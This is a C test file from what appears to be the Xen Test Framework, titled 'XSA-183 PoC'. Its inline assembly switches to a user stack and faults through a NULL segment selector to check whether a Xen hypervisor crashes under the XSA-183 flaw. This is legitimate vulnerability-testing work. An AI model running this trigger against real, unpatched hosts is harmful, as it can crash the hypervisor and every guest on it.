main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-183 PoC";

void test_main(void)
{
    unsigned long curr_stk, discard;

    /* Load NULL selector to guarantee a fault. */
    write_fs(0);

    asm volatile ("pushf;"                    /* Set AC to whitelist user */
                  "orl $%c[AC], (%%esp);"     /* accesses.  Avoids crashes if */
                  "popf;"                     /* Xen leaks SMAP into guest. */
                                              /* context. */

                  "mov %%esp, %[curr_stk];"   /* Record the current stack. */
                  "mov %[user_stk], %%esp;"   /* Switch to the user stack. */

                  "1: mov %%fs:0, %[tmp]; 2:" /* Read from NULL using a NULL */
                  _ASM_EXTABLE(1b, 2b)        /* selector to cause a fault. */

                  "mov %[curr_stk], %%esp;"   /* Restore the previous stack. */
                  : [curr_stk] "=&r" (curr_stk),
                    [tmp] "=r" (discard)
                  : [user_stk] "r" (&user_stack[PAGE_SIZE]),
                    [AC] "i" (X86_EFLAGS_AC));

    /*
     * If Xen hasn't crashed by this point, we are either running on hardware
     * without SMAP, or with SMAP disabled, or Xen has been patched.  Either
     * way, Xen isn't vulnerable to XSA-183 in its current configuration.
     */
    xtf_success("Xen is not vulnerable to XSA-183\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */